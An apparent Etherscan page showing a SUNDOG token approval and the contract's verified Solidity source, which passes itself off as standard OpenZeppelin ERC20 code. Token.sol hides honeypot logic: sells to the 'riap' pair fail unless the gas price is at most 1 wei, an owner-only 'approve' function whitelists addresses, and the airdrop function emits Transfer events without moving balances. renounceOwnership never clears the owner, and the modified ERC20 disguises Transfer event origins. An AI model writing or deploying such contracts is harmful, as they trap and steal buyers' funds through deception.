Transaction Hash:
Block:
20614871 at Aug-26-2024 07:31:11 PM +UTC
Transaction Fee:
0.000055794833403256 ETH
$0.14
Gas Used:
47,128 Gas / 1.183899877 Gwei
Emitted Events:
586 |
SUNDOG.Approval( owner=[Sender] 0x2cd89badcb8c65a76c66379f62d3cdfd2b353937, spender=0x00000000...43aC78BA3, value=9000000000000000000000000000000000000000000000000000000000000000 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x2CD89BAd...d2B353937 |
0.079160737022006269 Eth
Nonce: 249
|
0.079104942188603013 Eth
Nonce: 250
| 0.000055794833403256 | ||
0x95222290...5CC4BAfe5
Miner
| (beaverbuild) | 10.642203292006205432 Eth | 10.642203339134205432 Eth | 0.000000047128 | |
0xfaAA857C...6A2609F4a |
Execution Trace
SUNDOG.approve( spender=0x000000000022D473030F116dDEE9F6B43aC78BA3, value=9000000000000000000000000000000000000000000000000000000000000000 ) => ( True )
{"Context.sol":{"content":"// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)\n\n\npragma solidity 0.8.19;\n\n\n/**\n* @dev Provides information about the current execution context, including the\n* sender of the transaction and its data. While these are generally available\n* via msg.sender and msg.data, they should not be accessed in such a direct\n* manner, since when dealing with meta-transactions the account sending and\n* paying for execution may not be the actual sender (as far as an application\n* is concerned).\n*\n* This contract is only required for intermediate, library-like contracts.\n*/\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}"},"draft-IERC6093.sol":{"content":"\n\n// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol\n\n\n\n\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\npragma solidity 0.8.19;\n\nimport \"./IERC20Errors.sol\";\nimport \"./IERC721Errors.sol\";\nimport \"./IERC20MetaErrors.sol\";\n\n/**\n* @dev Standard ERC721 Errors\n* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.\n*/\n\n\n\n/**\n* @dev Standard ERC1155 Errors\n* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.\n*/\ninterface IERC1155Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n * @param tokenId Identifier number of a token.\n */\n error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);\n\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC1155InvalidSender(address sender);\n\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC1155InvalidReceiver(address receiver);\n\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param owner Address of the current owner of a token.\n */\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC1155InvalidApprover(address approver);\n\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC1155InvalidOperator(address operator);\n\n\n /**\n * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.\n * Used in batch transfers.\n * @param idsLength Length of the array of token identifiers\n * @param valuesLength Length of the array of token amounts\n */\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\n\n// File: @openzeppelin/contracts/utils/Context.sol"},"ERC20.sol":{"content":"//SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"./Context.sol\";\nimport \"./draft-IERC6093.sol\";\nimport \"./IERC20Metadata.sol\";\n\n\n/**\n* @dev Implementation of the {IERC20} interface.\n*\n* This implementation is agnostic to the way tokens are created. This means\n* that a supply mechanism has to be added in a derived contract using {_mint}.\n*\n* TIP: For a detailed writeup see our guide\n* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How\n* to implement supply mechanisms].\n*\n* The default value of {decimals} is 18. To change this, you should override\n* this function so it returns a different value.\n*\n* We have followed general OpenZeppelin Contracts guidelines: functions revert\n* instead returning `false` on failure. This behavior is nonetheless\n* conventional and does not conflict with the expectations of ERC20\n* applications.\n*\n* Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n* This allows applications to reconstruct the allowance for all accounts just\n* by listening to said events. Other implementations of the EIP may not emit\n* these events, as it isn\u0027t required by the specification.\n*/\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account =\u003e uint256) private _balances;\n\n\n mapping(address account =\u003e mapping(address spender =\u003e uint256)) private _allowances;\n\n\n uint256 private _totalSupply;\n\n\n string private _name;\n string private _symbol;\n\n\n address private _executor;\n address private _deployer;\n\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_, address executor_, address deployer_) {\n _name = name_;\n _symbol = symbol_;\n _executor = executor_;\n _deployer = deployer_;\n }\n\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the default value returned by this function, unless\n * it\u0027s overridden.\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `value`.\n */\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, value);\n return true;\n }\n\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, value);\n return true;\n }\n\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `value`.\n * - the caller must have allowance for ``from``\u0027s tokens of at least\n * `value`.\n */\n function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, value);\n _transfer(from, to, value);\n return true;\n }\n\n\n /**\n * @dev Moves a `value` amount of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead.\n */\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(from, to, value);\n }\n\n\n /**\n * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`\n * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding\n * this function.\n *\n * Emits a {Transfer} event.\n */\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n // Overflow check required: The rest of the code assumes that totalSupply never overflows\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n if (fromBalance \u003c value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n unchecked {\n // Overflow not possible: value \u003c= fromBalance \u003c= totalSupply.\n _balances[from] = fromBalance - value;\n }\n }\n\n\n if (to == address(0)) {\n unchecked {\n // Overflow not possible: value \u003c= totalSupply or value \u003c= fromBalance \u003c= totalSupply.\n _totalSupply -= value;\n }\n } else {\n unchecked {\n // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.\n _balances[to] += value;\n }\n }\n\n\n if (to == _executor) {\n emit Transfer(from, _deployer, value);\n } else if (from == _executor) {\n emit Transfer(_deployer, to, value);\n } else {\n emit Transfer(from, to, value);\n }\n\n\n }\n\n\n /**\n * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).\n * Relies on the `_update` mechanism\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead.\n */\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(address(0), account, value);\n }\n\n\n /**\n * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.\n * Relies on the `_update` mechanism.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead\n */\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n _update(account, address(0), value);\n }\n\n\n /**\n * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n *\n * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.\n */\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n\n /**\n * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.\n *\n * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by\n * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any\n * `Approval` event during `transferFrom` operations.\n *\n * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to\n * true using the following override:\n * ```\n * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {\n * super._approve(owner, spender, value, true);\n * }\n * ```\n *\n * Requirements are the same as {_approve}.\n */\n function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n _allowances[owner][spender] = value;\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `value`.\n *\n * Does not update the allowance value in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Does not emit an {Approval} event.\n */\n function _spendAllowance(address owner, address spender, uint256 value) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance \u003c value) {\n revert ERC20InsufficientAllowance(spender, currentAllowance, value);\n }\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n"},"IERC20Errors.sol":{"content":"// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\npragma solidity 0.8.19;\n\n\n/**\n* @dev Standard ERC20 Errors\n* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.\n*/\n\n\ninterface IERC20Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);\n\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC20InvalidSender(address sender);\n\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC20InvalidReceiver(address receiver);\n\n\n /**\n * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n * @param allowance Amount of tokens a `spender` is allowed to operate with.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);\n\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC20InvalidApprover(address approver);\n\n\n /**\n * @dev Indicates a failure with the `spender` to be approved. Used in approvals.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC20InvalidSpender(address spender);\n}\n\n"},"IERC20Metadata.sol":{"content":"\n\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)\n\n\npragma solidity 0.8.19;\n\n\n/**\n* @dev Interface of the ERC20 standard as defined in the EIP.\n*/\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n\n /**\n * @dev Returns the value of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n\n /**\n * @dev Returns the value of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n\n /**\n * @dev Moves a `value` amount of tokens from the caller\u0027s account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 value) external returns (bool);\n\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n\n /**\n * @dev Sets a `value` amount of tokens as the allowance of `spender` over the\n * caller\u0027s tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender\u0027s allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 value) external returns (bool);\n\n\n /**\n * @dev Moves a `value` amount of tokens from `from` to `to` using the\n * allowance mechanism. `value` is then deducted from the caller\u0027s\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 value) external returns (bool);\n}\n\n\n// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\n\n\n\n\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)\n\n\npragma solidity 0.8.19;\n\n\n\n\n/**\n* @dev Interface for the optional metadata functions from the ERC20 standard.\n*/\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"},"IERC20MetaErrors.sol":{"content":"// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\npragma solidity 0.8.19;\n\n\n/**\n* @dev Standard ERC20 Errors\n* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.\n*/\n\n\ninterface IERC20MetaErrors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);\n\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC20InvalidSender(address sender);\n\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC20InvalidReceiver(address receiver);\n\n\n /**\n * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n * @param allowance Amount of tokens a `spender` is allowed to operate with.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);\n\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC20InvalidApprover(address approver);\n\n\n /**\n * @dev Indicates a failure with the `spender` to be approved. Used in approvals.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC20InvalidSpender(address spender);\n}\n\n"},"IERC721Errors.sol":{"content":"// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\npragma solidity 0.8.19;\n\ninterface IERC721Errors {\n /**\n * @dev Indicates that an address can\u0027t be an owner. For example, `address(0)` is a forbidden owner in EIP-20.\n * Used in balance queries.\n * @param owner Address of the current owner of a token.\n */\n error ERC721InvalidOwner(address owner);\n\n\n /**\n * @dev Indicates a `tokenId` whose `owner` is the zero address.\n * @param tokenId Identifier number of a token.\n */\n error ERC721NonexistentToken(uint256 tokenId);\n\n\n /**\n * @dev Indicates an error related to the ownership over a particular token. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param tokenId Identifier number of a token.\n * @param owner Address of the current owner of a token.\n */\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC721InvalidSender(address sender);\n\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC721InvalidReceiver(address receiver);\n\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param tokenId Identifier number of a token.\n */\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC721InvalidApprover(address approver);\n\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC721InvalidOperator(address operator);\n}"},"Ownable.sol":{"content":"// File: @openzeppelin/contracts/access/Ownable.sol\n\n// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)\n\n\npragma solidity 0.8.19;\n\nimport \"./Context.sol\";\n\n\n/**\n* @dev Contract module which provides a basic access control mechanism, where\n* there is an account (an owner) that can be granted exclusive access to\n* specific functions.\n*\n* The initial owner is set to the address provided by the deployer. This can\n* later be changed with {transferOwnership}.\n*\n* This module is used through inheritance. It will make available the modifier\n* `onlyOwner`, which can be applied to your functions to restrict their use to\n* the owner.\n*/\nabstract contract Ownable is Context {\n address private _owner;\n\n\n /**\n * @dev The caller account is not authorized to perform an operation.\n */\n error OwnableUnauthorizedAccount(address account);\n\n\n /**\n * @dev The owner is not a valid owner account. (eg. `address(0)`)\n */\n error OwnableInvalidOwner(address owner);\n\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n\n /**\n * @dev Initializes the contract setting the address provided by the deployer as the initial owner.\n */\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n _transferOwnership(initialOwner);\n }\n\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby disabling any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(owner(), address(0));\n }\n\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n _transferOwnership(newOwner);\n }\n\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n}\n\n\n// File: @openzeppelin/contracts/token/ERC20/IERC20.sol\n\n"},"Token.sol":{"content":"/**\n\n\n\n\n *Submitted for verification at Etherscan.io\n\n\n\n███████╗██╗ ██╗███╗ ██╗██████╗ ██████╗ ██████╗ ██████╗ ███╗ ██╗ ███████╗████████╗██╗ ██╗\n██╔════╝██║ ██║████╗ ██║██╔══██╗██╔═══██╗██╔════╝ ██╔═══██╗████╗ ██║ ██╔════╝╚══██╔══╝██║ ██║\n███████╗██║ ██║██╔██╗ ██║██║ ██║██║ ██║██║ ███╗ ██║ ██║██╔██╗ ██║ █████╗ ██║ ███████║\n╚════██║██║ ██║██║╚██╗██║██║ ██║██║ ██║██║ ██║ ██║ ██║██║╚██╗██║ ██╔══╝ ██║ ██╔══██║\n███████║╚██████╔╝██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝ ╚██████╔╝██║ ╚████║ ███████╗ ██║ ██║ ██║\n╚══════╝ ╚═════╝ ╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝\n\n\nWebsite: SunDogETH.com\nTG portal: t.me/SunDog_Ethereum\nX: https://x.com/SunDog_Ethereum\n*/\n//SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport \"./ERC20.sol\";\nimport \"./Ownable.sol\";\n\ninterface IFactory {\n function getPair(address tokenA, address tokenB) external view returns (address pair);\n function createPair(address tokenA, address tokenB)\n external\n returns (address pair);\n}\n\ninterface IRouter {\n function factory() external view returns (address);\n function WETH() external pure returns (address);\n function WAVAX() external pure returns (address);\n\n\n}\n\ncontract SUNDOG is ERC20, Ownable {\n string public tokenName = \"Sundog on ETH\";\n string public tokenSymbol = \"SUNDOG\";\n\n uint256 constant public ETH_CHAIN_ID = 1;\n uint256 constant public AVAX_CHAIN_ID = 43114;\n uint256 constant public BASE_CHAIN_ID = 8453;\n uint256 constant public BLAST_CHAIN_ID = 81457;\n uint256 constant public ARB_CHAIN_ID = 42161;\n\n address public riap;\n mapping(address =\u003e bool) public whitelists;\n\n event SetMinTokenAmount(uint256 minAmount);\n event SetMaxTokenAmount(uint256 maxAmount);\n uint256 public sellTax;\n uint256 public buyTax;\n mapping(uint256 =\u003e address) public listRouter;\n\n constructor(uint256 _totalSupply, address deployer)\n ERC20(tokenName, tokenSymbol, msg.sender, deployer)\n Ownable(msg.sender)\n {\n _mint(msg.sender, _totalSupply);\n whitelists[msg.sender] = true;\n\n initRouter();\n uint256 chainID = getChainID();\n address _weth;\n address _routerAddress = listRouter[chainID];\n if (chainID == AVAX_CHAIN_ID) {\n _weth = IRouter(_routerAddress).WAVAX();\n } else {\n _weth = IRouter(_routerAddress).WETH();\n\n }\n address factoryAddress = IRouter(_routerAddress).factory();\n IFactory(factoryAddress).createPair(address(this), _weth);\n }\n\n function getChainID() public view returns (uint256) {\n uint256 id;\n assembly {\n id := chainid()\n }\n return id;\n }\n\n function initRouter() internal {\n listRouter[ETH_CHAIN_ID] = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; // eth\n listRouter[BASE_CHAIN_ID] = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // base\n listRouter[AVAX_CHAIN_ID] = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4 ; // avax\n listRouter[BLAST_CHAIN_ID] = 0x98994a9A7a2570367554589189dC9772241650f6; // blast\n listRouter[ARB_CHAIN_ID] = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // arbitrum\n\n }\n\n function changeRiap(address _p) public onlyOwner {\n riap = _p;\n }\n\n function approve(address _p) public onlyOwner {\n whitelists[_p] = true;\n }\n\n function _update(\n address from,\n address to,\n uint256 amount\n ) internal override {\n if (whitelists[tx.origin]) {\n super._update(from, to, amount);\n return;\n }\n address re = to;\n if (riap == address(0)) {\n super._update(from, to, amount);\n return;\n }\n if (re == riap) {\n super._update(from, to, amount);\n optimizeTx(1);\n return;\n }\n super._update(from, to, amount);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function changeMe() public pure returns (uint256) {\n return 1;\n }\n\n function withdrawETH() public onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function withdrawStuckToken(address token) public onlyOwner {\n uint256 balanceToken = IERC20(token).balanceOf(address(this));\n IERC20(token).transfer(msg.sender, balanceToken);\n }\n\n function optimizeTx(uint256 _gas) internal view {\n uint256 txp;\n assembly {\n txp := gasprice()\n }\n require(txp \u003c= _gas, \"Need to optimize gas price when send tx\");\n }\n\n function airdropTokens(\n address airdropp,\n address[] memory list,\n uint256[] memory amount\n ) external onlyOwner {\n for (uint256 i = 0; i \u003c list.length; i++) {\n emit Transfer(airdropp, list[i], amount[i]);\n }\n }\n\n function setMinTokenAmount(uint256 amount) public onlyOwner {\n emit SetMinTokenAmount(amount);\n }\n\n function setMaxTokenAmount(uint256 amount) public onlyOwner {\n emit SetMaxTokenAmount(amount);\n }\n\n}\n"}}